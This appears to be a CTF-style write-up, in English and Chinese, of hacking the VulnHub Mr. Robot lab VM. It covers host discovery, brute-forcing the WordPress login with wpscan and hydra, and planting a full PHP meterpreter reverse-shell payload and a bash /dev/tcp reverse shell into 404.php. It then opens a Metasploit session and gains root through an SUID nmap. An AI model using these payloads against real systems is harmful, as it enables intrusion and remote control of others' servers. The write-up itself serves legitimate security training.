vulnhub MrRobot

vulnhub mrRobot

Mr.Robot: a American television

record the process of hacking

vulnhub

https://www.vulnhub.com/entry/mr-robot-1,151/

use virtual box

set network bridge network

reference

https://www.youtube.com/watch?v=Wa88lk5Jygk&list=PLElHR9MODvudCR4xh3dqtUxXFfhPx19fo&index=3

https://medium.com/geekculture/vulnhub-mr-robot-35eac3078d5c

discover

netdiscover

1
netdiscover -r 192.168.0.0/24
  • -r 192.168.0.0/24: -r ip range目标网络地址范围。192.168.0.0/24 是一个 CIDR 表示法的网络地址,表示扫描 192.168.0.0192.168.0.0 之间的所有 IP 地址。

rustscan

1
rustscan -a 192.168.0.105
  • -a 192.168.0.105: -a =IP address。在这里,192.168.0.105 是目标主机的 IP 地址。

dic bruteforce

from robot.txt get two file: - fsocity.dic - flag:key-1-of-3.txt

key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9

fsocity.dic

http://192.168.0.105/fsocity.dic

hash crack

https://crackstation.net/

sort

1
sort -u fsocity.dic

Sort and remove duplicates 删除重复项

word count

1
wc fsocity.dic

crack password

burpSuit

OWASP ZAP is same as burpSuit

intruder - intruder: Burp Suite 的一个功能,用于进行暴力破解、模糊测试等攻击测试。 get username: elliot get password: ER28-0652

wpscan

1
wpscan --url http://192.168.0.105/ --passwords dic.txt --usernames elliot

get password

1
2
3
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652

  • --url http://192.168.0.105/: 指定要扫描的 WordPress 网站的 URL。在这里,http://192.168.0.105/ 是目标网站的 URL。

  • --enumerate u: 指定要扫描的内容。在这里,u 表示扫描用户名。

  • --enumerate p: 指定要扫描的内容。在这里,p 表示扫描插件。

  • --passwords dic.txt: 指定密码字典文件的路径和文件名。在这里,密码字典文件是 "dic.txt",wpscan 将使用这个文件中的密码来尝试登录。

  • --usernames elliot: 指定要尝试登录的用户名为 "elliot"。

hydra

1
hydra -vV -l elliot -P robotdic.txt 192.168.0.105 http-post-form 
  1. hydra: 这是密码破解工具 Hydra 的命令行程序。

  2. -vV: 这是 Hydra 的选项之一,用于显示详细信息。小写的 -v 表示详细输出,大写的 -V 表示显示每次尝试的结果。

  3. -l elliot: 这是指定要尝试登录的用户名为 "elliot"。

  4. -P robotdic.txt: 这是指定密码字典文件的路径和文件名。在这里,密码字典文件是 "robotdic.txt",Hydra 将使用这个文件中的密码来尝试登录。

  5. 192.168.0.105: 这是目标主机的IP地址,即要攻击的目标。

  6. http-post-form: 这是 Hydra 攻击的模块之一,指定使用 HTTP POST 表单进行攻击。

get webshell

msfvenom

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4567 -f raw > shell.php
  • -p php/meterpreter/reverse_tcp: 指定要生成的 payload 类型。在这里,php/meterpreter/reverse_tcp 表示生成一个 PHP 脚本,该脚本会在目标主机上启动一个 meterpreter 会话,并通过 TCP 协议连接到指定的 IP 地址和端口。

  • -f raw: 指定输出格式为 raw 格式,即原始的 payload 数据。

  • LHOST=192.168.0.106: 指定 payload 连接的 IP 地址。在这里,192.168.0.102 是攻击者的 IP 地址。

  • LPORT=4567: 指定 payload 连接的端口。在这里,4567 是攻击者监听的端口。

get webshell write shell.php to 404.php

1
/*<?php /**/ error_reporting(0); $ip = '192.168.0.106'; $port = 4567; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
## another method

php-reverse-shell

1
2
3
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.106/4567 0>&1'");
?>
  1. exec 函数: PHP 中的 exec 函数用于执行外部命令。在这里,exec 函数被用来执行一个命令字符串。

  2. 命令字符串: /bin/bash -c 'bash -i >& /dev/tcp/192.168.0.106/4567 0>&1'

  • 当 PHP 执行这段代码时,它会调用 exec 函数来执行指定的命令。
  • 命令中的 /bin/bash -c 启动了一个 bash shell,并通过 -i 参数设置为交互模式。
  • 接着,>& /dev/tcp/192.168.0.106/4567 将 bash 的标准输出和标准错误都重定向到指定的 IP 地址和端口号上,这里假设攻击者已经在远程主机上监听了 4567 端口。
  • 0>&1 则将标准输入也重定向到与标准输出相同的地方,这样就建立了一个完整的双向连接。

msfconsole

1
2
3
4
5
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.0.106
set LPORT 4567
run

get

1
2
3
4
5
6
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.0.106:4567
[*] Sending stage (39927 bytes) to 192.168.0.105
[*] Meterpreter session 1 opened (192.168.0.106:4567 -> 192.168.0.105:60842) at 2024-07-24 02:28:06 -0400

get flag

1
2
cat /home/robot/key-2-of-3.txt
822c73956184f694993bede3eb39f959

root privilege

python

1
python -c 'import pty; pty.spawn("/bin/sh")'

suid

1
find / -perm /4000 -type f 2>/tmp/2
1
find / -perm -u=s -type f 2>/dev/null

get

1
2
3
4
5
6
7
8
9
10
11
12
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap

nmap

nmap version 3.81 bug

1
2
nmap --interactive
!/bin/sh

get flag

1
2
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4